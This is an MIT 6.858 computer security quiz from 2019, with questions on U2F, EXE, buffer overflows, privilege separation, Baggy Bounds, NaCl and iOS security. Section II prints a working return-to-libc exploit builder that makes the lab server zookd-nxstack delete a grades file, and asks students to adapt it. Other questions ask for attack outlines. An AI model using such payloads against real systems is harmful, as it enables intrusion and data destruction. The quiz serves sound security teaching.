Department of Electrical Engineering and Computer Science

MASSACHUSETTS INSTITUTE OF TECHNOLOGY

6.858 Spring 2019

Quiz I

You have 80 minutes to answer the questions in this quiz. In order to receive credit you must answer the question as precisely as possible.

Some questions are harder than others, and some questions earn more points than others. You may want to skim them all through first, and attack them in the order that allows you to make the most progress.

If you find a question ambiguous, be sure to write down any assumptions you make. Be neat and legible. If we can't understand your answer, we can't give you credit!

Write your name and submission website email address on this cover sheet.

This is an open book, open notes, open laptop exam.
NO INTERNET ACCESS OR OTHER COMMUNICATION.

This quiz is printed double-sided.

Please do not write in the boxes below.

I (xx/7)	II (xx/10)	III (xx/5)	IV (xx/11)	V (xx/10)	VI (xx/10)	VII (xx/2)	Total (xx/55)

Name:

Submission website email address:

You can answer the feedback questions on the back of the quiz before the official start time.

I Paper reading questions

1. [4 points]: Which of the following statements are true about U2F (as described in the assigned reading “Universal 2nd Factor (U2F) Overview”)?

(Circle True or False for each choice; we subtract points for incorrect answers.)

A. True / False The reason that the user’s password is in the U2F protocol is to protect against an attacker stealing the user’s U2F dongle.

B. True / False A good way of handling users who lose a U2F dongle is to ask users to register two U2F dongles with a service and to store the extra U2F dongle in a secure location.

C. True / False The “challenge” included with every “client data” allows the service to detect malware replaying an earlier recorded signature.

D. True / False A U2F USB dongle prevents malware (e.g., a keyboard logger) on the user’s computer from stealing the user’s password.

2. [3 points]: Which of the following statements are true about EXE (as described in the assigned reading “EXE: Automatically generating inputs of death”)?

(Circle True or False for each choice; we subtract points for incorrect answers.)

A. True / False EXE caches results from the external SMT solver because solving a constraint can take a long time.

B. True / False Marking many variables as symbolic makes it more likely that EXE will find bugs but it may take a much longer time than marking fewer variables as symbolic.

C. True / False EXE prunes a branch when the external SMT solver cannot find a solution for the path constraint for that branch.

II Buffer overflows

Below is a solution to lab 1 exercise 4: code that constructs an exploit payload that successfully makes `zookd-nxstack` delete `/grades.txt` using a return-to-libc attack:

```
stack_buffer = 0x7fffffffdcf0
stack_retaddr = 0x7fffffffed08
accidentally_addr = 0x5555555558f4
unlink_addr = 0x2aaaab246ea0

    def build_exploit():
            arg = '/home/httpd/grades.txt\0'

            path = \
                    arg \
                    + 'x'*(stack_retaddr-stack_buffer-len(arg)) \
                    + struct.pack('<Q', accidentally_addr) \
                    + struct.pack('<Q', unlink_addr) \
                    + struct.pack('<Q', stack_buffer)

            path = urllib.quote(path)

            req = "GET " + path + " HTTP/1.0\r\n\r\n"

            return req
```

Originally, the `accidentally()` function was the following:

```
void accidentally(void)
{
       __asm__("mov 16(%%rbp), %%rdi": : :"rdi");
}
```

The assembly operand order is source, destination. This corresponds to the following disassembly:

```
0x00005555555558f4 <+0>:     push   %rbp
0x00005555555558f5 <+1>:     mov    %rsp,%rbp
0x00005555555558f8 <+4>:     mov    0x10(%rbp),%rdi
0x00005555555558fc <+8>:     nop
0x00005555555558fd <+9>:     pop    %rbp
0x00005555555558fe <+10>:    retq
```

Suppose that the function `accidentally()` was changed to the following:

```
void accidentally(void)
{
        __asm__("pop %%rdi": : :"rdi");
}
```

This corresponds to the following disassembly:

```
0x00005555555558f4 <+0>:     push   %rbp
0x00005555555558f5 <+1>:     mov    %rsp,%rbp
0x00005555555558f8 <+4>:     pop    %rdi
0x00005555555558f9 <+5>:     nop
0x00005555555558fa <+6>:     pop    %rbp
0x00005555555558fb <+7>:     retq
```

3. [10 points]: Fill out the code to compute the path in `build_exploit()` below so it works with the modified `accidentally()` function.

```
def build_exploit():
        arg = '/home/httpd/grades.txt\0'

        path =
















        path = urllib.quote(path)

        req = "GET " + path + " HTTP/1.0\r\n\r\n"

        return req
```

III Lab 2

Ben has a correct implementation of Lab 2, including proper privilege separation and storing hashed and salted passwords. Now, suppose Ben adds the following line to `chroot-setup.sh` and then runs it:

```
chmod 777 /jail/zoobar
```

Note that the chmod command above is *not* recursive.

4. [5 points]: Given the above change, describe how an attacker who has compromised Ben's `static_svc` to achieve arbitrary code execution could steal users' *plain-text* passwords for users who log in to Ben's zoobar website.

IV Baggy bounds checking

Consider Baggy Bounds as described in the paper "Baggy Bounds Checking: An Efficient and Backwards-Compatible Defense against Out-of-Bounds Errors" by Akritidis et al. Assume a slot size of 16 bytes and the following C fragment:

```
buf = malloc(46)
```

5. [1 points]: How many slots will baggy bounds allocate in the bounds table?

6. [1 points]: What value will baggy bounds store in each slot in the bounds table?

7. [3 points]: Will baggy bounds generate an error when it encounters the expression `buf+47`? (Briefly explain your answer)

8. [3 points]: Will baggy bounds generate an error when it encounters the expression `buf+65`? (Briefly explain your answer)

9. [3 points]: Will baggy bounds generate an error when it encounters the expression `buf+73`? (Briefly explain your answer)

V NaCl

Consider the paper *Native Client: A Sandbox for Portable, Untrusted x86 Native Code* by Yee *et al*.

10. [5 points]: Ben Bitdiddle notes that NaCl uses Intel x86 segmentation to ensure that the sandboxed module does not read or write memory outside its own data area, and does not execute instructions outside its own code. Ben thinks that with these restrictions alone, executing the sandboxed module must be safe; that is, he thinks validation is not needed. Ben is wrong. Circle the types of x86 machine instructions that the validator *always* forbids in sandboxed code. Please ignore trampoline and springboard code.

A. all instructions that modify segment state

B. all RET (function return) instructions

C. all loads or stores to addresses that are not 0 mod 32

D. all indirect loads or stores (via an address in a register or variable)

E. all indirect jumps (via an address in a register or variable)

F. all system calls

11. [5 points]: Suppose the NaCl validator didn't include the code

```
or not (T in JumpTargets)
```

at the end of Figure 3. Briefly outline how an attacker could exploit that omission to execute a system call of the attacker's choice.

VI iOS Security

Recall the reading titled *iOS Security / iOS 11 / January 2018*.

12. [5 points]: Suppose a user has an iPhone (running iOS) and downloads an app called Innocent from the Apple App Store and installs it. The user unlocks the phone and runs Innocent. Innocent exploits a bug in the iOS kernel which allows Innocent to redirect execution inside the kernel to code that Innocent controls. Now Innocent can execute any instructions it likes inside the iOS kernel. Innocent is *not* able to exploit any bugs in the phone's secure enclave. Can Innocent read the user's private information stored in the phone's flash (e.g. Contacts and messages), or will the security measures described in the paper keep the data private? If Innocent is only able to see encrypted data, then the phone has successfully kept the data private. Circle the security features of the phone (if any) that will prevent Innocent from reading information from the flash on the phone.

A. Secure boot chain (page 5)

B. System software authorization (page 6)

C. The secure enclave's ephemeral key (page 7)

D. AES file encryption with per-file keys (page 13)

E. None of the above

13. [5 points]: Suppose the FBI finds a powered-off iPhone owned by someone the FBI suspects of committing a crime. The suspect has fled the country. The FBI would like to read information such as contacts and e-mail messages out of the phone's flash storage. The FBI persuades Apple to sign an iOS kernel modified by the FBI, so that the phone's secure boot chain will accept the FBI's modified iOS kernel. The phone has secure enclave hardware, but Apple is **not** willing to sign enclave software for the FBI. Briefly explain why there's no modification the FBI can make to the iOS kernel that will help them read the user's information from the phone's flash.

VII 6.858

We'd like to hear your opinions about 6.858. Any answer, except no answer, will receive full credit.

14. [2 points]: Is there one paper out of the ones we have covered so far in 6.858 that you think we should definitely remove next year? If not, feel free to say that.

End of Quiz